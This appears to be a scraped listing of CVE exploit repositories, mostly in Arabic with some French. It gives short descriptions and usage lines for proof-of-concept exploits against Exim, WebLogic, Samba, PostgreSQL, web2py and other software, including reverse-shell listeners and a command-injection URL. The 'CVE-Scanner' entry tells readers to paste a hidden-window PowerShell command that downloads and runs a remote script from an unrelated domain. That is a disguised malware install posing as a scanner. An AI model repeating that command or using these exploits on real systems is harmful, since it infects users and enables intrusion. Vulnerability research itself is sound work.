CVE-2022-36779

CVE-2022-36779 كود استغلال لثغرة حقن أوامر نظام التشغيل بدون مصادقة في جهاز التوجيه الخلوي الصناعي Proscend. https://cdn.shopify.com/s/files/1/0036/9413/3297/files/ADVICEIndustrial4GLTECellularRouterICR111WG.pdf?v=1620814301 https://www.proscend.com/en/category/index.html...

CVE-2023-21823

CVE-2023-21823 صدفة عكسية لنظام ويندوز يحتوي هذا المستودع على كود بلغة C ينفّذ صدفة عكسية Reverse Shell لنظام التشغيل ويندوز. تتيح الصدفة العكسية التحكم عن بُعد في النظام عبر سطر الأوامر، مما يوفر القدرة على تنفيذ الأوامر على الجهاز المصاب. مهم استخدام هذا الكود لأغراض غير قانونية أو بدون إذن من...

CVE-2012-1823-exploit-for-https-user-password-web

Le fichier CVE-2012-1823 est un exploit utilisation : python3 CVE-2012-1823.py Le fichier CVE-2012-1823,CVE-2021-2291.py permet de savoir si le site est vulnérable à CVE-2012-1823 ou CVE-2021-2291 utilisation : python3 CVE-2012-1823,CVE-2021-2291.py commande whoami cd ls testé sur Kali Linux...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : تم العثور على ثغرة في إصدارات Exim من 4.87 إلى 4.91 شاملة. قد يؤدي التحقق غير السليم من عنوان المستلم في دالة delivermessage في /src/deliver.c إلى تنفيذ أوامر عن بُعد. مثال nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost...

CVE-2020-14882

CVE-2020-14882 يتيح هذا النص البرمجي تنفيذ الأوامر عن بُعد RCE على Oracle WebLogic Server باستخدام طلب GET غير موثوق. يستغل الثغرة الأمنية CVE-2020-14882. من خلال تنفيذ أوامر عشوائية، يمكن للمهاجم الوصول غير المصرح به إلى الخادم. تفاصيل الاستغلال عنوان الاستغلال: Oracle WebLogic Server، تنفيذ أوا...

PIL-CVE-2017-8291

استغلال تنفيذ الأوامر عن بُعد في Python PIL/Pillow GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow هي مكتبة معالجة صور شائعة للغة Python. تدعم العديد من تنسيقات الصور وتوفر إمكانيات قوية لمعالجة الصور. تتأثر وحدة معالجة الصور PIL Pillow في Python بثغرة GhostButt CVE-2017-8291 لأنه...

CVE-Scanner

CVE-Scanner ماسح ومستغل CVE-2021-42287/CVE-2021-42278/OTHER. التثبيت 1. اضغط على WIN + R 2. انسخ والصق الكود أدناه ثم اضغط Enter powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. أعد تشغيل جهاز الكمبيوتر الخاص بك الاستخدام 1...

CVE-2025-53547-POC

CVE-2025-53547 POC هذا هو POC الخاص بـ CVE-2025-53547 Chart.lock يربط ملف الاختبار بـ /tmp/1.txt /tmp/1.txt يحقن أمرًا ينشئ /tmp/2.txt في بيئة المنتج الفعلية، يمكنك تغيير ملف الارتباط Chart.lock لحقن أي أمر تريده، مثل: /root/.bashrc /root/.bashprofile /etc/profile ...... أو أي ملف يمكنه تشغيل سكر...

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

POC Repository: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 الوصف يحتوي هذا المستودع على إكسبلويت مكتوب بلغة Python لثغرة CVE-2019-16278 ، وهي ثغرة في Nostromo 1.9.6 خادم ويب. تسمح هذه الثغرة بتنفيذ أوامر عن بُعد Remote Code Execution - RCE عبر استغلال...

React2shell-ultimate-scanner

ماسح متقدم لـ CVE-2025-55182 🚀 ماسح أمني احترافي وآلي لاكتشاف والتحقق من CVE-2025-55182 ، وهو ثغرة حرجة تؤثر على Next.js مكونات خادم React. مصمم لـ باحثي الأمن، مختبرَي الاختراق، وصائدي البق الأمنية الذين يريدون تحققًا سريعًا ونظيفًا وموثوقًا من الثغرات. ✨ الميزات 🔍 كشف تلقائي لـ CVE-2025-55182 ⚡...

CVE-2019-9193-Postgresql-RCE

الاستخدام: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD مثال: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' مثال 2 : python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' المخرجات: + الاتصال بقاعدة بيانات PostgreSQL على...

CVE-2025-25706

CVE-2025-25706 وصف العنصر: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix نوع الثغرة: تنفيذ التعليمات البرمجية عن بُعد وصف الثغر...

Rust_CVE-2025-55182

أداة استغلال CVE-2025-55182 إصدار Rust نظرة عامة على المشروع هذا المشروع عبارة عن أداة بحث أمني مطورة بلغة Rust، تستهدف ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE الموجودة في [email protected]. تسمح هذه الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الخادم المستهدف دون مصادقة، وذلك من خلال...

CVE-2020-10199_POC-EXP

الإصدارات المتأثرة + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version +...

CVE-2007-2447

CVE-2007-2447 PoC: سكربت "usermap script" في Samba لتنفيذ أوامر عن بُعد ثغرة تاريخية. يحتوي هذا المستودع على سكربت صغير لإثبات المفهوم لأغراض البحث والمراجعة التعليمية. السكربت الأساسي هو usermapscriptCommandExecution.py. المرجع: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 Script de détection par lots multithread pour CVE-2021-22205 Utilise dnslog, détection possible avec un poc Détection multithread Exécution de commande personnalisable...

cve-2023-46747

سكربت استغلال CVE-2023-46747 يستغل هذا السكربت ثغرة تنفيذ التعليمات البرمجية عن بُعد في F5 BIG-IP TMUI CVE-2023-46747. وهو يسمح لمهاجم غير مصادَق بتنفيذ أوامر عشوائية على نظام F5 BIG-IP المعرض للثغرة. جدول المحتويات الميزات المتطلبات الاستخدام المعلمات كيف يعمل إخلاء المسؤولية الميزات إنشاء مستخد...

poc-proxycommand-vulnerable

RCE عبر /.ssh/config غير الآمن يُعد استخدام الرموز المميزة مثل %h و %p في ProxyCommand شائعًا جدًا لاستخدام الأنفاق وبروكسي الاتصالات عبر SSH. الإعداد القابل للاستغلال host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p ملاحظة: في تقييمي الأولي كنت أعتقد أن استخدام '%h...

CVE-2023-46805

ماسح CVE-2023-46805 ماسح CVE-2023-46805 لأجهزة Ivanti Connect Secure التي قد تكون ضعيفة حسب البلد باستخدام Shodan. إصدار السكربت: 1.3 مُحدَّث بمنشور المدونة الأخير الذي أعدته Assetnote ⚠️ هذا السكربت لأغراض دفاعية ويجب استخدامه من قبل خبراء الأمن السيبراني لتحديد أجهزة ICS التي قد تكون ضعيفة...

CVE-2023-45158

CVE-2023-45158 الخطوات 1. قم بتشغيل خادم الويب cd web2py python3 web2py.py 2. قم بحقن أمرك باستخدام الرابط http://:8000/hack?msg=%27%3B%3B%27. استبدل و بالقيم الخاصة بك. أمثلة 1. إنشاء ملف على الخادم http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. غلاف عكسي Reverse Shell على جهاز المهاجم، قم...